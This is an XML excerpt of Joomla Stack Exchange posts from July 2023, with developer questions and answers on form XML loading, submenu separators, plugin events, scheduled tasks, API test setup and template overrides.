  <row Id="33166" PostTypeId="1" CreationDate="2023-07-06T14:53:24.767" Score="0" ViewCount="91" Body="&lt;p&gt;This error keeps vexing me. The file is there, we can see it, the permissions are correct. It's &lt;code&gt;typelist-theme.xml&lt;/code&gt; in the t4 system plugin, &lt;code&gt;plugins/system/t4/themes/base/params/typelist-theme.xml&lt;/code&gt;. Funny thing is, this error cannot be reproduced on a local dev setup, only on the live site. We're using the same PHP version, same database dump.&lt;/p&gt;&#xA;&lt;p&gt;Any tips would be highly appreciated!&lt;/p&gt;&#xA;&lt;p&gt;Edit, getting xml error:&lt;/p&gt;&#xA;&lt;p&gt;[{&amp;quot;level&amp;quot;:1,&amp;quot;code&amp;quot;:1549,&amp;quot;column&amp;quot;:0,&amp;quot;message&amp;quot;:&amp;quot;failed to load external entity &amp;quot;[ROOT]/plugins/syste&#xA;m/t4/themes/base/params/typelist-theme.xml&amp;quot;\n&amp;quot;,&amp;quot;file&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;line&amp;quot;:0}]&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2023-07-06T15:49:38.257" LastActivityDate="2023-07-06T15:55:18.490" Title="Joomla\CMS\Form\Form::getInstance() could not load file" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33167" PostTypeId="2" ParentId="33166" CreationDate="2023-07-06T15:55:18.490" Score="1" Body="&lt;p&gt;Solved, it was an issue with: libxml_disable_entity_loader&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-07-06T15:55:18.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33168" PostTypeId="1" CreationDate="2023-07-07T06:21:07.067" Score="0" ViewCount="207" Body="&lt;p&gt;There are these nice loking seperators / dividers in the core content component's menu:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Ud533.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ud533.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've tried already to add the following in my XML without success:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA; &amp;lt;menu class=&amp;quot;divider&amp;quot;&amp;gt;sep&amp;lt;/menu&amp;gt;&#xA; &amp;lt;dividingline /&amp;gt;&#xA; &amp;lt;divider /&amp;gt;&#xA; &amp;lt;dividingline role=&amp;quot;presentation&amp;quot; /&amp;gt;&#xA; &amp;lt;divider role=&amp;quot;presentation&amp;quot; /&amp;gt;&#xA; &amp;lt;separator role=&amp;quot;presentation&amp;quot; /&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;com_content has this Preset xml where the menuitems are listed as menuitems and are grouped in &amp;quot;menuitems&amp;quot; - i think that's the clue.&lt;/p&gt;&#xA;&lt;p&gt;I understand that &amp;quot;my&amp;quot; menu items are nested a level deeper - there is no existing way to implement such dividers there?&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2023-07-10T14:00:11.190" Title="How to add separators / dividers in Joomla 4 Custom Components (Sub-)Menu?" Tags="|joomla-4.x|menu-item|xml|submenu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33169" PostTypeId="1" CreationDate="2023-07-07T07:49:02.427" Score="0" ViewCount="23" Body="&lt;p&gt;Getting this error in JS after updating from Joomla 3 to 4. Gonna debug more and post edits/answer here if I find it. If anyone knows already, feel free to tell!&lt;/p&gt;&#xA;" OwnerUserId="7077" LastActivityDate="2023-07-07T07:49:02.427" Title="JFormValidator is not defined" Tags="|javascript|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33170" PostTypeId="2" ParentId="33168" CreationDate="2023-07-07T08:43:24.280" Score="1" Body="&lt;p&gt;It can be done but you have to hack, manually change, the &lt;code&gt;#__menu&lt;/code&gt; table in the database.&lt;/p&gt;&#xA;&lt;p&gt;In your manifest .xml file you add a line between you menu items that will create a record in the &lt;code&gt;#__menu table&lt;/code&gt; in the correct order&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;menu type=&amp;quot;separator&amp;quot;&amp;gt;.&amp;lt;/menu&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;type=&amp;quot;separator&amp;quot;&lt;/code&gt; is not stored in the database as you would like it to, but it is parsed as a valid statement thus your manifest file wont fail on installation. The '.' is required, it can't be blank or you will get a message about a missing Title, however you can put a '-' or any other character. Whatever you put here will be displayed if you don't follow the next update the table.&lt;/p&gt;&#xA;&lt;p&gt;You will have to Install or Discover your component to pick up the new menu item.&lt;/p&gt;&#xA;&lt;p&gt;Next you have to alter this new record in  &lt;code&gt;#__menu&lt;/code&gt; table and change the &lt;code&gt;type&lt;/code&gt; field from &lt;code&gt;component&lt;/code&gt; to &lt;code&gt;separator&lt;/code&gt; and then line will appear in your components menu.&lt;/p&gt;&#xA;&lt;p&gt;I agree with @sharky who replied in the comments while I was away trying to work out if this was possible, raise an issue to have this fixed and let us know the # and I will support it.&lt;/p&gt;&#xA;&lt;p&gt;The code to display the separator is there in &lt;code&gt;..\administrator\modules\mod_menu\tmpl\default_submenu.php&lt;/code&gt; there just needs to be a few changes in the installation of a component to change the type in the &lt;code&gt;#__menu table&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update 10th July&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Line #1072 of ..\libraries\src\Installer\Adapter\ComponentAdapter.php that has this statement&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data['type']         = 'component';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and if you replace it with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data['type']         = ((string) $child-&amp;gt;attributes()-&amp;gt;type) ?: 'component';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then the installer will update the &lt;code&gt;#__menu&lt;/code&gt; table with whatever value is entered in the type param of the &lt;code&gt;&amp;lt;menu&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-07-10T14:00:11.190" LastActivityDate="2023-07-10T14:00:11.190" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33171" PostTypeId="1" CreationDate="2023-07-07T14:29:06.827" Score="0" ViewCount="85" Body="&lt;p&gt;I have a system plugin that is doing something very simple. The issue is that locally it works fine, but on a live server the events seam to be differing and the plugin is not getting triggered.&lt;/p&gt;&#xA;&lt;p&gt;Both systems are identical in Joomla version and all other aspects.&lt;/p&gt;&#xA;&lt;p&gt;I call an URL like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://www.mysite.com?myevent=webhook&amp;amp;nolangfilter=1&amp;amp;id=123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Inside the system plugin this is the important part:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyPluginwebhook extends CMSPlugin implements SubscriberInterface&#xA;{&#xA;    protected $db;&#xA;    protected $app;&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;    public static function getSubscribedEvents(): array&#xA;    {&#xA;        return [&#xA;            'onAfterDispatch' =&amp;gt; 'checkWebhook',&#xA;        ];&#xA;    }&#xA;&#xA;    public function checkWebhook()&#xA;    {&#xA;        if ($this-&amp;gt;app-&amp;gt;isClient('site') &amp;amp;&amp;amp; $this-&amp;gt;app-&amp;gt;input-&amp;gt;getCmd('myevent') == 'webhook') {&#xA;            // here some stuff with document gets done, so the &amp;quot;onAfterDispatch&amp;quot; event needs to be used in favor of &amp;quot;onAfterRoute&amp;quot;.&#xA;            echo &amp;quot;success&amp;quot;;&#xA;            die();&#xA;        }&#xA;    }&#xA;&#xA;    ...&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here is the debugging stack showing the different flows locally and on remote:&lt;/p&gt;&#xA;&lt;p&gt;localy everything works fine:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Call stack&#xA;#   Function    Location&#xA;1   ()  JROOT\plugins\system\mypluginwebhook\src\Extension\MyPluginwebhook.php:70&#xA;2   Joomla\Plugin\System\MyPluginwebhook\Extension\MyPluginwebhook-&amp;gt;checkWebhook()  JROOT\libraries\vendor\joomla\event\src\Dispatcher.php:486&#xA;3   Joomla\Event\Dispatcher-&amp;gt;dispatch() JROOT\libraries\src\Application\EventAware.php:111&#xA;4   Joomla\CMS\Application\WebApplication-&amp;gt;triggerEvent()   JROOT\libraries\src\Application\SiteApplication.php:213&#xA;5   Joomla\CMS\Application\SiteApplication-&amp;gt;dispatch()  JROOT\libraries\src\Application\SiteApplication.php:249&#xA;6   Joomla\CMS\Application\SiteApplication-&amp;gt;doExecute() JROOT\libraries\src\Application\CMSApplication.php:293&#xA;7   Joomla\CMS\Application\CMSApplication-&amp;gt;execute()    JROOT\includes\app.php:61&#xA;8   require_once()  JROOT\index.php:32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;on remote EventAware is not getting called:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Call stack&#xA;#   Function    Location&#xA;1   ()  JROOT/components/com_content/src/Model/ArticleModel.php:218&#xA;2   Joomla\Component\Content\Site\Model\ArticleModel-&amp;gt;getItem() JROOT/libraries/src/MVC/View/AbstractView.php:146&#xA;3   Joomla\CMS\MVC\View\AbstractView-&amp;gt;get() JROOT/components/com_content/src/View/Article/HtmlView.php:110&#xA;4   Joomla\Component\Content\Site\View\Article\HtmlView-&amp;gt;display()  JROOT/libraries/src/MVC/Controller/BaseController.php:645&#xA;5   Joomla\CMS\MVC\Controller\BaseController-&amp;gt;display() JROOT/components/com_content/src/Controller/DisplayController.php:121&#xA;6   Joomla\Component\Content\Site\Controller\DisplayController-&amp;gt;display()   JROOT/libraries/src/MVC/Controller/BaseController.php:678&#xA;7   Joomla\CMS\MVC\Controller\BaseController-&amp;gt;execute() JROOT/libraries/src/Dispatcher/ComponentDispatcher.php:143&#xA;8   Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch()   JROOT/components/com_content/src/Dispatcher/Dispatcher.php:56&#xA;9   Joomla\Component\Content\Site\Dispatcher\Dispatcher-&amp;gt;dispatch() JROOT/libraries/src/Component/ComponentHelper.php:361&#xA;10  Joomla\CMS\Component\ComponentHelper::renderComponent() JROOT/libraries/src/Application/SiteApplication.php:208&#xA;11  Joomla\CMS\Application\SiteApplication-&amp;gt;dispatch()  JROOT/libraries/src/Application/SiteApplication.php:249&#xA;12  Joomla\CMS\Application\SiteApplication-&amp;gt;doExecute() JROOT/libraries/src/Application/CMSApplication.php:293&#xA;13  Joomla\CMS\Application\CMSApplication-&amp;gt;execute()    JROOT/includes/app.php:61&#xA;14  require_once()  JROOT/index.php:32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-07-08T11:50:10.707" LastActivityDate="2023-08-07T13:03:00.357" Title="onAfterDispatch is getting called differently" Tags="|plugin-events|system-plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33172" PostTypeId="2" ParentId="33171" CreationDate="2023-07-08T12:20:26.623" Score="1" Body="&lt;p&gt;The second stack trace shows an exception was thrown during the execution of a component. In such case &lt;code&gt;onAfterDispatch&lt;/code&gt; event is not triggered. Instead, the application dispatches &lt;code&gt;onError&lt;/code&gt; event for plugins to handle the error/exception. I'm not sure what your goal is but in case you need an endpoint for the plugin, you should use &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;AJAX&lt;/a&gt; component instead of appending random parameters to existing URLs.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-07-08T12:20:26.623" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33173" PostTypeId="1" AcceptedAnswerId="33174" CreationDate="2023-07-08T21:37:34.620" Score="0" ViewCount="236" Body="&lt;p&gt;I know that this could be considered a subjective question, but I think it's important.&#xA;(I do produce Joomla documentation for extension developers and it would be useful to relay answers to them).&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 3 you would write a CLI job which was based on &lt;code&gt;JApplicationCli&lt;/code&gt;. You would package it up in a &lt;code&gt;file&lt;/code&gt; type install, and set up a cron job to run it automatically.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 4 the &lt;code&gt;JApplicationCli&lt;/code&gt; (aka Joomla\CMS\Application\CliApplication) class is deprecated with an indication &amp;quot;Use the ConsoleApplication instead&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;How to develop a console application is described at &lt;a href=&quot;https://docs.joomla.org/J4.x:Writing_A_CLI_Application&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J4.x:Writing_A_CLI_Application&lt;/a&gt; and you can develop applications which&#xA;can be run from a command line or a cron job:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php cli/joomla.php mycommand:task&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So far, all is fine.&lt;/p&gt;&#xA;&lt;p&gt;However, Joomla 4 also includes a &lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2022/get-to-know-the-new-joomla-task-scheduler&quot; rel=&quot;nofollow noreferrer&quot;&gt;task scheduler&lt;/a&gt;. You can write a task and configure when it should be run (or you can click a Run button to run it immediately).&#xA;The task scheduler then acts a little like cron and runs the task automatically, albeit that the scheduler needs some sort of trigger to kick it off,&#xA;eg a separate cron job or visitor traffic on this website.&lt;/p&gt;&#xA;&lt;p&gt;I updated a Joomla 3 CLI job using both approaches. (The job queried some database records and sent an email with the results). The approaches are similar in that:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;both require a plugin, which must respond to an event to indicate that the task I've written is available&lt;/li&gt;&#xA;&lt;li&gt;both have a mechanism to define and obtain task configuration options&lt;/li&gt;&#xA;&lt;li&gt;with both you write a function which performs the task you want&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;However the approaches are different enough to make it a bit of a challenge to avoid duplicating code between the two.&lt;/p&gt;&#xA;&lt;p&gt;Hence the question of how do the approaches fit together, if at all. When should one approach be used instead of the other?&lt;/p&gt;&#xA;&lt;p&gt;I understand that one answer could be: well, Joomla gives you the choice.&lt;/p&gt;&#xA;&lt;p&gt;But then, whose choice is this, the extension developer's or the Joomla website administrator?&lt;/p&gt;&#xA;&lt;p&gt;If it's the developer's choice then an administrator could end up with some jobs to manage as cron jobs, and others to manage via the task scheduler.&lt;/p&gt;&#xA;&lt;p&gt;If it's the administrator's choice then it seems to me that extension developers would be expected to develop both options.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-11T09:01:49.620" Title="How do Joomla CLI/Console jobs and Task Scheduler jobs fit together?" Tags="|cli|task|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33174" PostTypeId="2" ParentId="33173" CreationDate="2023-07-09T10:49:48.147" Score="1" Body="&lt;p&gt;Not all Cli based applications are required to be run on a schedule therefore not all Cli instances are suited to be created or converted to the Task Scheduler approach thus there is no choice for some applications.&lt;/p&gt;&#xA;&lt;p&gt;After converting some Joomla 3 Cli applications across to the Task Scheduler initially I found it to be unreliable in a production environment, or at least my environment and eventually repackaged them as Console applications triggered by cron and have regained the stability/reliability I had previously.&lt;/p&gt;&#xA;&lt;p&gt;Task Scheduler has two issues that I found make it less than ideal for production use. Firstly it relies on the task completing correctly to update the Task Scheduler to say it has completed, successfully or otherwise. This doesn't always occur, time outs etc. and it is difficult to debug why a task never completed which leads to the second issue. Only one task can be run at a time thus if a task if left as 'running' because it was never updated on completion then all other Tasks never start whether they are related or not.&lt;/p&gt;&#xA;&lt;p&gt;My take is it was GSoC project that is a good idea that was developed enough to function but really needs further development and thought invested to make it a production stable component beyond very basic needs.&lt;/p&gt;&#xA;&lt;p&gt;If it is assumed the Task Scheduler is suitable and scheduling is required and then there is a choice between the TS and Console for applications.&lt;/p&gt;&#xA;&lt;p&gt;To be considered would be who is required to manage the schedule, the client/Administrator(client functions) or website builder(backups etc.), Task Scheduler or Cron respectively.&lt;/p&gt;&#xA;&lt;p&gt;Where there is ambiguity or it is not the developers role to choose, then it is up to the developer to create a 'version' of each which isn't really complicated or difficult, it is still a plugin either way. The functional part of the application I think should be in neither the TS or the Console, rather they are just entry points to the real functionality that is part of an installed extension using the usual MVC approach and as much of the existing code as possible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update 11th July&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;While browsing the Task Scheduler code for something else I noticed that there is a flag/switch that can be set per Task to indicate whether it can be run concurrently so that tempers my previous comments regarding issues experienced with serialisation and unrelated failed tasks.&lt;/p&gt;&#xA;&lt;p&gt;Another consideration when choosing between the Task Scheduler and the Console based application is which application environment do you need to run in to get the results you require. Task Scheduler I am pretty sure, but haven't be able to confirm this, runs in the SiteApplication environment while the Console appears to default to the CliApplication. Code can check this with an isClient() but the Application matters if you are expecting particular plugins or code to be available that may not be the same as the environment each uses as the default. The reverse can also apply if you want to a avoid plugin's or code that doesn't check and thus breaks in the Application you are in.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-07-11T09:01:49.620" LastActivityDate="2023-07-11T09:01:49.620" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="33175" PostTypeId="1" CreationDate="2023-07-10T10:41:02.227" Score="0" ViewCount="33" Body="&lt;p&gt;So I installed &lt;code&gt;codeception/module-rest&lt;/code&gt; and created an &lt;code&gt;api.suite.yml&lt;/code&gt; containing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;modules:&#xA;  enabled:&#xA;    - Helper\JoomlaDb&#xA;    - Helper\Api&#xA;  config:&#xA;    Helper\JoomlaDb:&#xA;      dsn: &amp;quot;mysql:host=127.0.0.1;dbname=test&amp;quot;&#xA;      user: &amp;quot;root&amp;quot;&#xA;      password: &amp;quot;*****&amp;quot;&#xA;      prefix: &amp;quot;jos_&amp;quot;&#xA;    Helper\Api:&#xA;      MicrosoftEdgeInsiders: false &#xA;      # localUser: &amp;quot;www-data&amp;quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then i updated the helper class with &lt;code&gt;php vendor/bin/codecept build&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When starting one of the default api tests like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php vendor/bin/codecept run &amp;quot;tests/codeception/api/com_content/&amp;quot; -v --html --fail-fast &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get an &lt;code&gt;[RuntimeException] Call to undefined method ApiTester::amBearerAuthenticated&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The default Joomla 4 tests looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function testCrudOnArticle(ApiTester $I)&#xA;{&#xA;    $I-&amp;gt;amBearerAuthenticated($I-&amp;gt;getBearerToken());&#xA;    $I-&amp;gt;haveHttpHeader('Content-Type', 'application/json');&#xA;    $I-&amp;gt;haveHttpHeader('Accept', 'application/vnd.api+json');&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When taking a look in the generated &lt;code&gt;ApiTesterActions.php&lt;/code&gt; file there is only a &lt;code&gt;getBearerToken&lt;/code&gt; Function included (besides all DB function).&lt;/p&gt;&#xA;&lt;p&gt;What needs to be done, so all needed REST functions like &lt;code&gt;amBearerAuthenticated&lt;/code&gt; get included in the generated &lt;code&gt;ApiTesterActions.php&lt;/code&gt; file and can be used?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-07-11T11:36:29.780" Title="J4 API Test Helper missing functions" Tags="|joomla-api|restful-api|cms-testing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33176" PostTypeId="2" ParentId="2512" CreationDate="2023-07-10T10:51:50.443" Score="0" Body="&lt;p&gt;In Joomla 4:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Component\ComponentHelper;&#xA;&#xA;$defaultFrontendLanguage = ComponentHelper::getParams('com_languages')-&amp;gt;get('site');&#xA;&#xA;$defaultBackendLanguage = ComponentHelper::getParams('com_languages')-&amp;gt;get('administrator');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;$defaultFrontendLanguage&lt;/code&gt; could be a language label like &amp;quot;en-GB&amp;quot;;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-07-10T10:51:50.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33177" PostTypeId="2" ParentId="33175" CreationDate="2023-07-10T14:50:35.487" Score="1" Body="&lt;p&gt;So the issue was that using the original api.suite.yml did not work for me. It looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;actor: ApiTester&#xA;modules:&#xA;  enabled:&#xA;    - Helper\JoomlaDb&#xA;    - Helper\Api&#xA;  config:&#xA;    Helper\JoomlaDb:&#xA;      dsn: &amp;quot;mysql:host=127.0.0.1;dbname=test&amp;quot;&#xA;      user: &amp;quot;root&amp;quot;&#xA;      password: &amp;quot;*****&amp;quot;&#xA;      prefix: &amp;quot;jos_&amp;quot;&#xA;    Helper\Api:&#xA;      MicrosoftEdgeInsiders: falseInsiders&#xA;      # localUser: &amp;quot;www-data&amp;quot;&#xA;env:&#xA;   mysql:&#xA;     modules:&#xA;       enabled:&#xA;         - REST:&#xA;             url: http://127.0.0.1:8000/api/index.php/v1&#xA;             depends: PhpBrowser&#xA;             part: Json&#xA;       config:&#xA;         Helper\Api:&#xA;           url: &amp;quot;http://127.0.0.1:8000&amp;quot;&#xA;           cmsPath: &amp;quot;/&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Whats working for me is dropping the env databases and running it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;actor: ApiTester&#xA;modules:&#xA;  enabled:&#xA;    - Helper\JoomlaDb&#xA;    - Helper\Api&#xA;    - REST:&#xA;        url: http://127.0.0.1:8000/api/index.php/v1&#xA;        depends: PhpBrowser&#xA;        part: Json&#xA;  config:&#xA;    Helper\JoomlaDb:&#xA;      dsn: &amp;quot;mysql:host=127.0.0.1;dbname=test&amp;quot;&#xA;      user: &amp;quot;root&amp;quot;&#xA;      password: &amp;quot;*****&amp;quot;&#xA;      prefix: &amp;quot;jos_&amp;quot;&#xA;    Helper\Api:&#xA;      MicrosoftEdgeInsiders: falseInsiders&#xA;      # localUser: &amp;quot;www-data&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That way the REST functions get generated inside the &lt;code&gt;ApiTesterActions.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-07-11T11:36:29.780" LastActivityDate="2023-07-11T11:36:29.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33178" PostTypeId="2" ParentId="31733" CreationDate="2023-07-10T16:01:48.540" Score="0" Body="&lt;pre&gt;&lt;code&gt;.main-page-picture {&#xA;background-image: url('/images/main_foto_final.jpg');&#xA;background-size:cover;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17184" LastEditorUserId="13472" LastEditDate="2023-07-17T09:08:36.620" LastActivityDate="2023-07-17T09:08:36.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33179" PostTypeId="1" CreationDate="2023-07-10T16:06:52.367" Score="1" ViewCount="238" Body="&lt;p&gt;I'm not good in php, more a css/sass html specialist. I had an module (latest articles) and I needed to add the intro image. With Joomla 3 I did it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;nieuwsfotos&amp;quot; style=&amp;quot;background-image: url(&amp;lt;?php $images = json_decode($item-&amp;gt;images); ?&amp;gt;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;)&amp;quot; alt=&amp;quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&amp;quot; /&amp;gt; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This made it possible to add the image in front of the headline. But this does not work for Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;Anybody knows how to code this?&lt;/p&gt;&#xA;" OwnerUserId="17184" LastEditorUserId="17184" LastEditDate="2023-07-10T16:07:11.160" LastActivityDate="2023-07-11T07:51:10.107" Title="Add intro or full image to a component/module Joomla 4" Tags="|joomla-4.x|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33180" PostTypeId="2" ParentId="33179" CreationDate="2023-07-11T07:51:10.107" Score="2" Body="&lt;p&gt;You can get the equivalent of what you had in Joomla 3 by going into System / Templates then clicking on Cassiopeia (or whatever site template you're using) Details and Files, and then creating a template override of the module &lt;code&gt;mod_articles_latest&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once you've created the override, in the Editor tab edit the module file &lt;code&gt;default.php&lt;/code&gt; which is found under /templates/cassiopeia / html / mod_articles_latest / default.php.&lt;/p&gt;&#xA;&lt;p&gt;Place your &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; code around the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element in that file, ie replace:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&amp;quot; itemprop=&amp;quot;url&amp;quot;&amp;gt;&#xA;    &amp;lt;span itemprop=&amp;quot;name&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;nieuwsfotos&amp;quot; style=&amp;quot;background-image: url(&amp;lt;?php $images = json_decode($item-&amp;gt;images); ?&amp;gt;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro); ?&amp;gt;)&amp;quot; alt=&amp;quot;&amp;lt;?php echo htmlspecialchars($images-&amp;gt;image_intro_alt); ?&amp;gt;&amp;quot; /&amp;gt;&#xA;    &amp;lt;a href=&amp;quot;&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&amp;quot; itemprop=&amp;quot;url&amp;quot;&amp;gt;&#xA;        &amp;lt;span itemprop=&amp;quot;name&amp;quot;&amp;gt;&#xA;            &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;        &amp;lt;/span&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you need help with template overrides then there are plenty of tutorials online, eg &lt;a href=&quot;https://magazine.joomla.org/all-issues/july-2022/joomla-override-management&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/july-2022/joomla-override-management&lt;/a&gt;,&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Layout_Overrides_in_Joomla&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&#xA;(although some of these are a bit outdated).&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2023-07-11T07:51:10.107" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33182" PostTypeId="1" AcceptedAnswerId="33183" CreationDate="2023-07-12T06:02:50.313" Score="0" ViewCount="29" Body="&lt;p&gt;I need to add an extra category field to my articles. I tried to add a SQL custom field by this SQL code:&#xA;SELECT &lt;code&gt;title&lt;/code&gt; AS text FROM &lt;code&gt;jos_categories&lt;/code&gt; WHERE &lt;code&gt;extension&lt;/code&gt; = &amp;quot;com_content&amp;quot; and &lt;code&gt;published&lt;/code&gt;=1;&lt;/p&gt;&#xA;&lt;p&gt;The code works and shows the categories list, but when I save the article, the value of the custom field changes to the article's primary category value.&lt;/p&gt;&#xA;&lt;p&gt;How can I fix this issue?&lt;/p&gt;&#xA;&lt;p&gt;Thanking you in advance.&lt;/p&gt;&#xA;" OwnerUserId="17186" LastActivityDate="2023-07-12T06:39:13.227" Title="Adding an extra category field to Joomla articles" Tags="|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
